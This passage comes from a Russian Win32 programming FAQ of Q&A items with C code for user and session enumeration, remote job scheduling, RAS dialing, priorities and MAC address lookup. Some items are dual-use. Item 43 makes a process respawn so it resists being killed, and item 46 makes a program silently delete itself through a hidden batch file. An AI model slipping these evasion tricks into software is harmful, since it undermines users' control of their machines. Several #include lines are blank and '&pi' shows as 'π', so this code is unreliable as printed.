lstrcpy( nameBuf, "(empty name!)" ) ;
}
else
{
WideCharToMultiByte( CP_ACP, 0,
pName, -1,
nameBuf, UNLEN,
NULL, NULL ) ;
}
if ( pComm == NULL )
{
lstrcpy( commentBuf, "(no comment!)" ) ;
}
else if ( lstrlenW( pComm ) == 0 )
{
lstrcpy( commentBuf, "(empty comment!)" ) ;
}
else
{
WideCharToMultiByte( CP_ACP, 0,
pComm, -1,
commentBuf, MAXCOMMENTSZ,
NULL, NULL ) ;
}
cout << nameBuf << ": " << commentBuf << endl ;
}
}
else
{
cout << "NetUserEnum error " << ret << endl ;
}
if ( pInfo )
{
NetApiBufferFree( pInfo ) ;
pInfo = NULL ;
}
}
}
{mospagebreak}
21)----------------------------------------------------------------------------
Q> Кто по сети или локально шарится по моей(не моей)машине?
A>
//------------------------------------------------------
// Who.exe (c) 1999 Serge Andyk Адрес электронной почты защищен от спам-ботов. Для просмотра адреса в вашем браузере должен быть включен Javascript.
// Usage "who [server]". Show all local and network users
// on specified server and some additional information.
// Freeware.You can use and modify this source code
// as you wish.
//-------------------------------------------------------
#include
#include
#include
#pragma hdrstop
#pragma comment( lib, "netapi32.lib" )
#define MAXLEN 256
SESSION_INFO_502 *buf, *cur;
WKSTA_USER_INFO_1 *bufw, *curw;
FILE_INFO_3 *buff,*curf;
DWORD read, total, resumeh, rc, i;
//-----------------------------------------------------------
void PrintError( DWORD err )
{
char msgbuf[4096];
FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM, NULL, err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
msgbuf, sizeof( msgbuf ), NULL );
printf( "Error %d: %s\n", err, msgbuf );
}
//-------------------------------------------------------
void PrintLocalUsers(LPWSTR server)
{
resumeh = 0;
do
{
bufw = NULL;
rc = NetWkstaUserEnum(
(LPTSTR)server,
1,
(LPBYTE*) &bufw,
2048,
&read,
&total,
&resumeh );
if ( rc != ERROR_MORE_DATA && rc != ERROR_SUCCESS )
break;
{
for ( i = 0, curw = bufw; i < read; ++ i, ++ curw )
{
printf( "%-12S %-15S %-12S \n",
curw->wkui1_username, curw->wkui1_logon_domain,
curw->wkui1_logon_server
);
}
}
if ( bufw != NULL )
NetApiBufferFree( bufw );
} while ( rc == ERROR_MORE_DATA );
if ( rc != ERROR_SUCCESS ) PrintError( rc );
}
//-------------------------------------------------------
void PrintNetUsers(LPWSTR server)
{
resumeh = 0;
do
{
buf = NULL;
rc = NetSessionEnum(
(LPTSTR) server,
NULL,
NULL,
502,
(LPBYTE*)&buf,
2048,
&read,
&total,
&resumeh );
if ( rc != ERROR_MORE_DATA && rc != ERROR_SUCCESS )
break;
{
for ( i = 0, cur = buf; i < read; ++ i, ++ cur )
{
printf( "%-12S %-12S %-27S %-22S\n",
cur->sesi502_username, cur->sesi502_cname, cur->sesi502_transport,
cur->sesi502_cltype_name
);
}
}
if ( buf != NULL )
NetApiBufferFree( buf );
} while ( rc == ERROR_MORE_DATA );
if ( rc != ERROR_SUCCESS ) PrintError( rc );
}
//-------------------------------------------------------
void PrintNetFiles(LPWSTR server)
{
resumeh = 0;
do
{
buff = NULL;
rc=NetFileEnum(
(char *) server,
NULL,
NULL,
3,
(BYTE**)&buff,
2048,
&read,
&total,
&resumeh );
if ( rc != ERROR_MORE_DATA && rc != ERROR_SUCCESS )
break;
for ( i = 0, curf = buff; i < read; ++ i, ++ curf )
{
printf( "%-12S %-15S \n",
curf->fi3_username, curf->fi3_pathname
);
}
if ( buff != NULL )
NetApiBufferFree( buff );
} while ( rc == ERROR_MORE_DATA );
if ( rc != ERROR_SUCCESS ) PrintError( rc );
}
//-------------------------------------------------------
int main( int argc, char *argv[] )
{
WCHAR server[MAXLEN];
if ( argc == 1 )
{
wcscpy(server,L"");
}
else
if ( argc == 2 )
{
mbstowcs( server, argv[1],MAXLEN);
}
else
{
printf("Usage - who [server]");
exit(1);
}
printf("\nLocal users:\n");
PrintLocalUsers(server);
printf("\nNet users:\n");
PrintNetUsers(server);
printf("\nFiles(Pipes)\n");
PrintNetFiles(server);
return 0;
}
{mospagebreak}
22)---------------------------------------------------------------------------
Q> Как в мультипроцессорной системе указать задаче на каком процессоре работать?
A>
HANDLE threadHandle = GetCurrentThread();
SetThreadIdealProcessor(threadHandle, 1);
23)---------------------------------------------------------------------------
Q> Как установить (узнать) приоритет процесса?
A>
{
HANDLE procHandle = GetCurrentProcess();
if (!SetPriorityClass(procHandle, HIGH_PRIORITY_CLASS))
RET_ERR("SetPriorityClass");
DWORD priorityClass = GetPriorityClass(procHandle);
ADD_STR("Priority Class is set to : ");
switch(priorityClass)
{
case HIGH_PRIORITY_CLASS:
ADD_STR("HIGH_PRIORITY_CLASS\r\n");
break;
case IDLE_PRIORITY_CLASS:
ADD_STR("IDLE_PRIORITY_CLASS\r\n");
break;
case NORMAL_PRIORITY_CLASS:
ADD_STR("NORMAL_PRIORITY_CLASS\r\n");
break;
case REALTIME_PRIORITY_CLASS:
ADD_STR("REALTIME_PRIORITY_CLASS\r\n");
break;
default:
ADD_STR("Unknown priority class\r\n");
}
return result_buffer;
}
24)---------------------------------------------------------------------------
Q> Как установить (узнать) приоритет нити?
A>
{
HANDLE threadHandle = GetCurrentThread();
if (!SetThreadPriority(threadHandle, THREAD_PRIORITY_HIGHEST))
RET_ERR("SetThreadPriority");
int priority = GetThreadPriority(threadHandle);
if (priority == THREAD_PRIORITY_ERROR_RETURN)
RET_ERR("GetThreadPriority");
switch (priority)
{
case THREAD_PRIORITY_ABOVE_NORMAL:
ADD_STR("THREAD_PRIORITY_ABOVE_NORMAL\r\n");
break;
case THREAD_PRIORITY_BELOW_NORMAL:
ADD_STR("THREAD_PRIORITY_BELOW_NORMAL\r\n");
break;
case THREAD_PRIORITY_HIGHEST:
ADD_STR("THREAD_PRIORITY_HIGHEST\r\n");
break;
case THREAD_PRIORITY_IDLE:
ADD_STR("THREAD_PRIORITY_IDLE\r\n");
break;
case THREAD_PRIORITY_LOWEST:
ADD_STR("THREAD_PRIORITY_LOWEST\r\n");
break;
case THREAD_PRIORITY_NORMAL:
ADD_STR("THREAD_PRIORITY_NORMAL\r\n");
break;
case THREAD_PRIORITY_TIME_CRITICAL:
ADD_STR("THREAD_PRIORITY_TIME_CRITICAL\r\n");
break;
default:
ADD_STR("Unknown\r\n");
}
return result_buffer;}
25)---------------------------------------------------------------------------
Q> Как определить тип NT - server или workstation?
A> Через регистри -
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ProductOptions
Значение "Product Type". Три возможных варианта :
"WinNT" workstation
"ServerNT" server
"LanmanNT" domain controller
26)--------------------------------------------------------------------------
Q> Как проследить чтобы только одна копия приложения работала в данный момент
A>
BOOL WeAreAlone (LPSTR szName)
{
HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return FALSE;
}
return TRUE;
}
И в начале WinMain или main -
if (WeAreAlone ("Some_Unique_Name_Or_Other"))
{
// Proceed
}
else
{
MessageBox (NULL,"Error","Error: app already running!",MB_OK|MB_ICONERROR);
exit(1);
}
{mospagebreak}
27)---------------------------------------------------------------------------
Q> Имеется PID процесса,как узнать имя "process executable"?
A>
#include
#pragma comment(lib,"psapi.lib")
//psapi.h,lib,dll есть в VC5 и VC6
HANDLE hProc;
char szProcessName [80];
HMODULE ahMod [10];
DWORD dwNeeded;
hProc = OpenProcess (PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,
FALSE,
PID); // PID должен быть обьявлен как DWORD
if (hProc)
{
if (EnumProcessModules (hProc,
ahMod,
sizeof(ahMod),
&dwNeeded))
{
if (GetModuleBaseName (hProc,
ahMod[0],
szProcessName,
sizeof(szProcessName)))
{
}
else
{
}
}
CloseHandle (hProc);
}
}
28)--------------------------------------------------------------------------
Q> Как извлечь версию EXE,DLL и т.д.?
A>
void GetVersionOfFile (char * pszAppName, // file
char * pszVerBuff, // receives version
int iVerBuffLen, // size of buffer
char * pszLangBuff, // receives language
int iLangBuffLen) // size of buffer
{
DWORD dwScratch;
DWORD * pdwLangChar;
DWORD dwInfSize ;
UINT uSize;
BYTE * pbyInfBuff;
char szVersion [32];
char szResource [80];
char * pszVersion = szVersion;
dwInfSize = GetFileVersionInfoSize (pszAppName, &dwScratch);
if (dwInfSize)
{
pbyInfBuff = new BYTE [dwInfSize];
memset (pbyInfBuff, 0, dwInfSize);
if (pbyInfBuff)
{
if (GetFileVersionInfo (pszAppName, 0, dwInfSize, pbyInfBuff))
{
if (VerQueryValue (pbyInfBuff,
"\\VarFileInfo\\Translation",
(void**)(&pdwLangChar),
&uSize))
{
if (VerLanguageName (LOWORD (*pdwLangChar),
szResource,
sizeof(szResource)))
{
strncpy (pszLangBuff, szResource, iLangBuffLen);
}
wsprintf (szResource, "\\StringFileInfo\\%04X%04X\\FileVersion",
LOWORD (*pdwLangChar), HIWORD (*pdwLangChar));
if (VerQueryValue (pbyInfBuff,
szResource,
(void**)(&pszVersion),
&uSize))
{
strncpy (pszVerBuff, pszVersion, iVerBuffLen-1);
}
}
}
delete [] pbyInfBuff;
}
}
}
29)---------------------------------------------------------------------------
Q> Как узнать имя дефолтового web browsera и , вообще, как узнать - с
Q> какой программой ассоциирован данный тип файла (напр .HTM или .ZIP)?
A> Создать временный .htm или .zip и использовать апишную FindExecutable
30)---------------------------------------------------------------------------
Q> Как удалить директорию,если она не пустая?
A>
SHFILEOPSTRUCT sh;
sh.hwnd = GetSafeHwnd(); //Для BCB sh.hwnd=FormX->Handle;
sh.wFunc = FO_DELETE;
sh.pFrom = "c:\\test\0";
sh.pTo = NULL;
sh.fFlags = FOF_NOCONFIRMATION | FOF_SILENT;
sh.hNameMappings = 0;
sh.lpszProgressTitle = NULL;
SHFileOperation (&sh);
Этот код выносит все дерево, начиная с (и включая) с:\test
{mospagebreak}
31)----------------------------------------------------------------------------
Q> Как запретить переключение по alt-tab?
A>
Для MSVC:
CMainFrame::CMainFrame()
{
m_nHotKeyID = 100;
BOOL m_isKeyRegistered = RegisterHotKey(GetSafeHwnd(), m_nHotKeyID,
MOD_ALT, VK_TAB);
ASSERT(m_isKeyRegistered != FALSE);
}
//Убираем блокировку при выходе из приложения
CMainFrame::~CMainFrame()
{
BOOL m_iskeyUnregistered = UnregisterHotKey(GetSafeHwnd(), m_nHotKeyID);
ASSERT(m_isKeyUnregistered != FALSE);
}
Для BCB:
DWORD m_nHotKeyID = 100;
void __fastcall TForm1::FormCreate(TObject *Sender)
{
BOOL m_isKeyRegistered = RegisterHotKey(Form1->Handle, m_nHotKeyID,
MOD_ALT, VK_TAB);
}
void __fastcall TForm1::FormDestroy(TObject *Sender)
{
BOOL m_iskeyUnregistered = UnregisterHotKey(Form1->Handle, m_nHotKeyID);
}
32)----------------------------------------------------------------------------
Q> Как программно нажать клавишу (Num Lock например)?
A>
Win95/98:
{
BYTE KeyboardState[ 256 ];
GetKeyboardState( KeyboardState );
KeyboardState[ VK_NUMLOCK ] = KeyboardState[ VK_NUMLOCK ] ^ 1;
SetKeyboardState( KeyboardState );
}
WinNT:
{
keybd_event( VK_NUMLOCK, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_NUMLOCK, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0
);
}
33)--------------------------------------------------------------------------
Q> Как соединиться по RAS ?
A>
#include
#include
bool DialUp(LPTSTR PhoneNumber,LPTSTR UserName,LPTSTR Password)
{
RASDIALPARAMS rdParams;
rdParams.dwSize = sizeof(RASDIALPARAMS);
rdParams.szEntryName[0] = '\0';
lstrcpy( rdParams.szPhoneNumber, PhoneNumber );
rdParams.szCallbackNumber[0] = '\0';
lstrcpy( rdParams.szUserName, UserName );
lstrcpy( rdParams.szPassword, Password );
rdParams.szDomain[0] = '\0';
HRASCONN hRasConn = NULL;
DWORD dwRet = RasDial( NULL, NULL, &rdParams, 0L, NULL, &hRasConn );
if ( dwRet == 0 ) return true;
char szBuf[256];
if ( RasGetErrorString( (UINT)dwRet, (LPSTR)szBuf, 256 ) != 0 )
wsprintf( (LPSTR)szBuf, "Undefined RAS Dial Error (%ld).", dwRet );
RasHangUp( hRasConn );
MessageBox( (LPSTR)szBuf, "Error", MB_OK | MB_ICONSTOP );
return false;
}
34)----------------------------------------------------------------------------
Q> Как определить,имеется ли соединение по RAS?
A>
BOOL IsInternetConnected ()
{
DWORD nRasDevices = 20;
DWORD nSize = 20;
RASCONN rasconnected [10]; // Ras Connected struct
rasconnected[0].dwSize = sizeof(RASCONN);
RasEnumConnections( rasconnected, &nSize, &nRasDevices );
return ( BOOL (nRasDevices) );
}
Note:95 считает что соединение произошло,как только модем подымает трубу ;-)
{mospagebreak}
35)--------------------------------------------------------------------------
Q> Как разорвать соединение?
A>
bool HangUp()
{
RASCONN ras[20];
DWORD dSize, dNumber;
char szBuf[256];
ras[0].dwSize = sizeof( RASCONN );
dSize = sizeof( ras ); // Get active RAS - Connection
DWORD dwRet = RasEnumConnections( ras, &dSize, &dNumber );
if ( dwRet != 0 )
{
if ( RasGetErrorString( (UINT)dwRet, (LPSTR)szBuf, 256 ) != 0 )
wsprintf( (LPSTR)szBuf, "Undefined RAS Enum Connections error (%ld).", dwRet
);
MessageBox( (LPSTR)szBuf, "RasHangUp", MB_OK | MB_ICONSTOP );
return false;
}
bool bOK = true;
for( DWORD dCount = 0; dCount < dNumber; dCount++ )
{ // Hang up that connection
HRASCONN hRasConn = ras[dCount].hrasconn;
DWORD dwRet = RasHangUp( hRasConn );
if ( dwRet != 0 )
{
char szBuf[256];
if ( RasGetErrorString( (UINT)dwRet, (LPSTR)szBuf, 256 ) != 0 )
wsprintf( (LPSTR)szBuf, "Undefined RAS HangUp Error (%ld).", dwRet );
MessageBox( (LPSTR)szBuf, "RasHangUp", MB_OK | MB_ICONSTOP );
bOK = false;
}
}
return bOK;
}
36)---------------------------------------------------------------------------
Q>Как узнать максимум информации о типе и возможностях ОС на удаленной машине
A>
NetServerGetInfo(LPTSTR servername,DWORD level,LPBYTE *bufptr);
Откликаются все операционки производства MS и UNIXы с установленной самбой.
Выдают о себе все что сами знают ;-)
37)----------------------------------------------------------------------------
Q> Как создать hard link на NTFS?
A>
#include
#include
#pragma hdrstop
#define err doerr( __FILE__, __LINE__ )
void doerr( const char *file, int line )
{
DWORD e;
e = GetLastError();
if ( e == 0 )
return;
printf( "%s(%d): gle = %lu\n", file, line, e );
exit( 2 );
}
void enableprivs()
{
HANDLE hToken;
byte buf[sizeof TOKEN_PRIVILEGES * 2];
TOKEN_PRIVILEGES & tkp = *( (TOKEN_PRIVILEGES *) buf );
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
err;
// берем SeBackupPrivilege и SeRestorePrivilege
if ( !LookupPrivilegeValue( NULL, SE_BACKUP_NAME, &tkp.Privileges[0].Luid ) )
err;
if ( !LookupPrivilegeValue( NULL, SE_RESTORE_NAME, &tkp.Privileges[1].Luid ) )
err;
tkp.PrivilegeCount = 2;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp,
NULL, NULL );
}
int main( int argc, char *argv[] )
{
HANDLE fh;
if ( argc != 3 )
{
printf( "usage: lnw {file} {new_link_name}\n" );
return 1;
}
enableprivs();
fh = CreateFile( argv[1], GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_POSIX_SEMANTICS, NULL );
if ( fh == INVALID_HANDLE_VALUE || fh == NULL ) err;
static char buf1[MAX_PATH];
static wchar_t buf2[MAX_PATH * 2];
char *p;
void *ctx = NULL;
WIN32_STREAM_ID wsi;
DWORD numwritten;
GetFullPathName( argv[2], MAX_PATH, &buf1[0], &p );
wsi.dwStreamId = BACKUP_LINK;
wsi.dwStreamAttributes = 0;
wsi.dwStreamNameSize = 0;
wsi.Size.QuadPart = strlen( buf1 ) * 2 + 2;
MultiByteToWideChar( CP_ACP, 0, buf1, strlen( buf1 ) + 1, buf2, MAX_PATH );
if ( ! BackupWrite( fh, (byte *) &wsi, 20, &numwritten, FALSE, FALSE, &ctx )
)err;
if ( numwritten != 20 ) err;
if ( ! BackupWrite( fh, (byte *) buf2, wsi.Size.LowPart, &numwritten, FALSE,
FALSE, &ctx ) )err;
if ( numwritten != wsi.Size.LowPart )err;
BackupWrite( fh, (byte *) &buf1[0], 0, &numwritten, TRUE, FALSE, &ctx );
CloseHandle( fh );
return 0;
}
{mospagebreak}
38)----------------------------------------------------------------------------
Q> Как "зашедулить" задачу ?
A>
#include
#include
#include
#include
#pragma hdrstop
#define BREAK_ME 1 /// #undef to get working code
#undef BREAK_ME
#pragma pack( push )
#ifdef BREAK_ME
#pragma pack( 2 )
#else
#pragma pack( 4 )
#endif
#include
#pragma pack( pop )
#define lenof(x) ( sizeof (x) / sizeof (x)[0] )
int main( int argc, char *argv[] )
{
wchar_t server[256], cmd[1024];
AT_INFO at;
DWORD rc, id;
if ( argc < 2 || argc > 3 )
{
puts( "usage: nsja [\\\\server] \"command\"" );
return 1;
}
if ( argc > 2 )
mbstowcs( server, argv[2], lenof( server ) );
else
server[0] = L'\0';
mbstowcs( cmd, argv[argc - 1], lenof( cmd ) );
memset( &at, '\0', sizeof at );
at.Command = &cmd[0];
rc = NetScheduleJobAdd( server, (byte *) &at, &id );
if ( rc != ERROR_SUCCESS )
printf( "NSJA() returned %lu\n", rc );
return 0;
}
39)----------------------------------------------------------------------------
Q> Как посмотреть,что же там уже "нашедулено"?
A>
#include
#include
#include
#include
#pragma hdrstop
#define BREAK_ME 1 /// #undef to get working code
#undef BREAK_ME
#pragma pack( push )
#ifdef BREAK_ME
#pragma pack( 2 )
#else
#pragma pack( 4 )
#endif
#include
#pragma pack( pop )
#define lenof(x) ( sizeof (x) / sizeof (x)[0] )
int main( int argc, char *argv[] )
{
wchar_t server[256];
AT_ENUM *pBuf, *pJob;
DWORD i, rc, nRead, nLeftBeforeCall, hResume;
bool goForIt;
if ( argc > 2 )
{
puts( "usage: nsje [\\\\server]" );
return 1;
}
if ( argc > 2 )
mbstowcs( server, argv[2], lenof( server ) );
else
server[0] = L'\0';
hResume = 0;
printf( "%8.8s %.70s\n", "JobId", "Command" );
printf( "%8.8s %.70s\n", "--------",
"----------------------------------------------------------------------" );
goForIt = true;
while ( goForIt )
{
pBuf = NULL;
rc = NetScheduleJobEnum( *server == L'\0'? NULL: server, (BYTE **) &pBuf,
8192, &nRead, &nLeftBeforeCall, &hResume );
if ( rc != ERROR_SUCCESS && rc != ERROR_MORE_DATA )
{
printf( "Doh! rc = %lu\n", rc );
return 1;
}
for ( pJob = pBuf, i = 0; i < nRead; ++ i, ++ pJob )
{
printf( "%8lu %.70S\n", pJob->JobId, pJob->Command );
}
if ( pBuf != NULL )
NetApiBufferFree( pBuf );
if ( rc == ERROR_SUCCESS )
goForIt = false;
}
return 0;
}
{mospagebreak}
40)----------------------------------------------------------------------------
Q> Можно ли в 95 использовать функции Net*() (NetFileEnum и т.п.)?
A> Можно.
Вариант 1: Делаем по порядку -
п.1 - Покупаем качественный бубен.
п.2 - Периодически постукивая бубном и обходя нижеприведенные
грабли пишем прогу.
В Win95 вы должны включать файл svrapi.h,а не lm.h как в NT.
Также нужно использовать svrapi.lib и svrapi.dll,а не netapi32.lib и
netapi32.dll.Если хочется поддерживать обе платформы - прийдется dll
грузить динамически.
Внимание: в 95 Net*() функции имеют другую семантику по сравнению с NT.
Строки должны быть в ANSI,не все уровни доступны.Возвращаемые структуры
различны.Управление памятью различно.
Для NT требуется адрес указателя на буфер,95-му надо указатель на буфер.
// Windows NT
BYTE *buf;
DWORD prefmaxlen;
// ...
buf = NULL;
prefmaxlen = 8192; // or whatever
result = NetSomeFunction( ..., &buf, prefmaxlen, ... );
// process buffer ...
NetApiBufferFree( buf );
// Windows 9X
BYTE *buf;
WORD cbBuffer;
// ...
cbBuffer = 8192; // or whatever
buf = (BYTE *) malloc( cbBuffer );
result = NetSomeFunction( ..., buf, cbBuffer ... );
// process buffer ...
free( buf );
Крайне рекомендуется посмотреть svrapi.h файл.
PS: Если ничего не получается - то или эта функция вообще отсутствует
в srvapi.h и dll(неплохо бы сначала посмотреть), или мало трясли бубном.
PPS: Говорят еще хорошо помогает дудочка из малой берцовой кости
девственницы - духов хорошо ублажает ;-)
Вариант 2:
Для Windows 95 есть что-то типа Administration Kit (лежит в WinNT Resource
Kit). Вот там есть 2 dll-ины (radmin32.dll & rlocal32.dll), в
которых описаны все или почти все функции NT-евой netapi32.dll. Hадо
юзать эти dll-ины.
41)----------------------------------------------------------------------------
Q> Как определить частоту процессора?
A>
WinNT:
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\
System\CentralProcessor\0\~Mhz
42)---------------------------------------------------------------------------
Q> Как узнать MAC адрес сетевой карты?
A>
Вариант1:
From : Sergey Gazimagomedov 2:453/11.13
Мне нужен был МАС адpес, так я его получал, пользуясь NetBIOS.
Добавляешь имя NetBIOS и посылаешь на имя станции, нужной для опpеделения(можно
и своей) датагpамный пакет с заполненным NCB.
Вот исходник моей функции для опpеделения МАС адpеса.
UCHAR MYLIBAPI GetAdapterID(char *Name, // NetBIOS имя станции
UINT lana_num,
CARDID *ID) // 6 байтовый массив
{
UCHAR rc = 0;
UCHAR Status[256];
while( lstrlen(Name) - 15)
lstrcat(Name, " ");
memset(&SNcb, 0, sizeof(NCB));
SNcb.ncb_command = NCBASTAT;
SNcb.ncb_buffer = (LPSTR)Status;
SNcb.ncb_length = 256;
lstrcpy(SNcb.ncb_callname, Name);
SNcb.ncb_lana_num = lana_num;
rc = Netbios( &SNcb );
if(rc ==0){
memcpy(ID, Status, 6);
}
return(SNcb.ncb_cmd_cplt);
}
Это под Win32. Конечно должен быть пpотокол NetBIOS, но он в фоpточках и так
необходим.
{mospagebreak}
Вариант2:
#include
#include
#include
#include
#include
void main()
{
int iAdapters,iOpt=sizeof(iAdapters),iSize=sizeof(SOCKADDR_IPX);
SOCKET skNum;
SOCKADDR_IPX Addr;
WSADATA Wsa;
if(WSAStartup(0x0101,&Wsa)) return;
if
((skNum=socket(AF_IPX,SOCK_DGRAM,
NSPROTO_IPX))!=INVALID_SOCKET)
{
memset(&Addr,0,sizeof(Addr));
Addr.sa_family=AF_IPX;
if(bind(skNum,(SOCKADDR *)&Addr,iSize)!=SOCKET_ERROR)
{
if(getsockopt(skNum,NSPROTO_IPX,IPX_MAX_ADAPTER_NUM,
(char *)&iAdapters,&iOpt)!=SOCKET_ERROR)
{
while(iAdapters)
{
IPX_ADDRESS_DATA Data;
memset(&Data,0,sizeof(Data));
Data.adapternum=iAdapters-1;
iOpt=sizeof(Data);
if(getsockopt(skNum,NSPROTO_IPX,IPX_ADDRESS,(char
*)&Data,&iOpt)!=SOCKET_ERROR)
{
printf("Addr: %02X%02X%02X%02X:%02X%02X%02X%02X%02X%02X\n",
(int)Data.netnum[0],(int)Data.netnum[1],(int)Data.netnum[2],
(int)Data.netnum[3],(int)Data.netnum[4],(int)Data.netnum[5],
(int)Data.netnum[6],(int)Data.netnum[7],(int)Data.netnum[8],
(int)Data.netnum[9]);
}
iAdapters--;
}
}
}
closesocket(skNum);
}
WSACleanup();
}
Вариант3:
From: MSDN
#include
#include
#include
#include
#include
typedef struct _ASTAT_
{
ADAPTER_STATUS adapt;
NAME_BUFFER NameBuff [30];
}ASTAT, * PASTAT;
ASTAT Adapter;
void main (void)
{
NCB Ncb;
UCHAR uRetCode;
char NetName[50];
memset( &Ncb, 0, sizeof(Ncb) );
Ncb.ncb_command = NCBRESET;
Ncb.ncb_lana_num = 0;
uRetCode = Netbios( &Ncb );
printf( "The NCBRESET return code is: 0x%x \n", uRetCode );
memset( &Ncb, 0, sizeof (Ncb) );
Ncb.ncb_command = NCBASTAT;
Ncb.ncb_lana_num = 0;
strcpy( Ncb.ncb_callname, "* " );
Ncb.ncb_buffer = (char *) &Adapter;
Ncb.ncb_length = sizeof(Adapter);
uRetCode = Netbios( &Ncb );
printf( "The NCBASTAT return code is: 0x%x \n", uRetCode );
if ( uRetCode == 0 )
{
printf( "The Ethernet Number is: %02x%02x%02x%02x%02x%02x\n",
Adapter.adapt.adapter_address[0],
Adapter.adapt.adapter_address[1],
Adapter.adapt.adapter_address[2],
Adapter.adapt.adapter_address[3],
Adapter.adapt.adapter_address[4],
Adapter.adapt.adapter_address[5] );
}
}
43)----------------------------------------------------------------------------
Q> Как сделать, чтобы мою прогу нельзя было бы убить?
A> Я не пробовал,но imho от End Task это не спасет
From : Dmitry V. Liseev
Делать неубиваемый процесс очень просто.
Перед тем, как убить винда сначала попытается завершить
его по-хорошему. Тут он и должен запустить свою копию
и передать ей все нужные данные перед благополучным
завершением.
LRESULT WINAPI WndProc(HWND hWnd, UINT msg,
WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
//HANDLE_MSG(hWnd, WM_CREATE, WndProc_OnCreate);
HANDLE_MSG(hWnd, WM_DESTROY, WndProc_OnDestroy);
//HANDLE_MSG(hWnd, WM_SIZE, WndProc_OnSize);
//HANDLE_MSG(hWnd, WM_COMMAND, WndProc_OnCommand);
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}
}
void WndProc_OnDestroy(HWND hWnd)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
// Создадим другой процесс, а этот благополучно завершим.
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
CreateProcess(NULL, "program.exe", NULL, NULL,
FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, π);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
PostQuitMessage(0);
//return FORWARD_WM_DESTROY(hWnd, DefWindowProc);
}
{mospagebreak}
44)----------------------------------------------------------------------------
Q> Как узнать хэндл консольного окна?
A>
From: PSS ID Number: Q124103
HWND GetConsoleHwnd(void)
{
#define MY_BUFSIZE 1024
HWND hwndFound;
char pszNewWindowTitle[MY_BUFSIZE];
char pszOldWindowTitle[MY_BUFSIZE];
//Запоминаем заголовок консоли
GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
//Делаем уникальную строку из всякой лабуды
wsprintf(pszNewWindowTitle,"%d/%d",
GetTickCount(),
GetCurrentProcessId());
//Меняем заголовок на уникальный
SetConsoleTitle(pszNewWindowTitle);
//Немного подождем
Sleep(40);
//Находим хэндл
hwndFound=FindWindow(NULL, pszNewWindowTitle);
//Меняем загловок окна обратно
SetConsoleTitle(pszOldWindowTitle);
return(hwndFound);
}
45)--------------------------------------------------------------------------
Q> Как активизировать любое окно(передать ему фокус ввода)?
A> Есть недокументированная функция в user32.dll
SwitchToThisWindow( HANDLE hWnd , BOOL Restore );
hWnd - хэндл окна
Restore - развернуть окно,если оно минимизировано.
46)--------------------------------------------------------------------------
Q> Как стереть самого себя?
A> Эта программа уничтожает саму себя.
#include
#include
void DelSelf(void)
{
char modulename[MAX_PATH];
char batfile[MAX_PATH];
char batlines[MAX_PATH*4];
LPSTR tempdir;
char Buf[MAX_PATH];
GetModuleFileName(NULL,modulename,MAX_PATH);
tempdir = ((GetEnvironmentVariable(TEXT("TEMP"),
Buf, MAX_PATH) > 0) ? Buf : NULL);
strcpy(batfile,tempdir);
strcat(batfile,"\\");
strcat(batfile,"delself.bat");
strcpy(batlines,"@echo off\n:try\ndel ");
strcat(batlines,modulename);
strcat(batlines,"\nif exist ");
strcat(batlines,modulename);
strcat(batlines," goto try\n");
strcat(batlines,"del ");
strcat(batlines,batfile);
DWORD NOfBytes;
HANDLE hbf= CreateFile(batfile, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hbf,batlines,strlen(batlines),&NOfBytes, NULL);
CloseHandle(hbf);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW;
CreateProcess(
NULL,
batfile,
NULL,
NULL,
FALSE,
IDLE_PRIORITY_CLASS|DETACHED_PROCESS,
NULL,
NULL,
&si,
π);
}
void main()
{
DelSelf();
}
{mospagebreak}
47)---------------------------------------------------------------------------
Q> Как поменять default принтер?
A>
int CALLBACK WinMain( HINSTANCE hInst, HINSTANCE hPrevInst,
LPSTR lpCmdLine, int nShowCmd )
{
/* Get the port & device settings for the specified printer */
char szDeviceString[260];
/* First (and only) parameter is the printer name */
lstrcpy( szDeviceString, __argv[1] );
const int Pos = lstrlen( szDeviceString );
/* Append a ',' */
szDeviceString[ Pos ] = ',';
GetProfileString( "Devices", __argv[1], "",
&szDeviceString[Pos+1],
sizeof( szDeviceString ) - (Pos+1) );
/* Have we got the printer? */
if ( szDeviceString[Pos+1] != '\0' )
{
/* Set the default printer */
WriteProfileString( "windows", "device", szDeviceString );
SendMessageTimeout( HWND_BROADCAST, WM_SETTINGCHANGE, 0L,
(LPARAM)(LPCTSTR)"windows", SMTO_NORMAL,
1000, NULL );
}
else
{
MessageBox( NULL, "Printer not found",
"Set Default Printer Utility",
MB_OK | MB_ICONERROR );
}
return 0;
}
References and samples:
Knowledge Base Article Q135387: "How to Get and Set the Default Printer in
Windows"
Knowledge Base Article Q140560 "How to Set the Default Printer Programmatically
in Windows 95"
48)----------------------------------------------------------------------------
Q> Как проверить, есть ли дискета в дисководе?
A>
BOOL IsDiskInDrive ( LPTSTR lpszDrive )
{
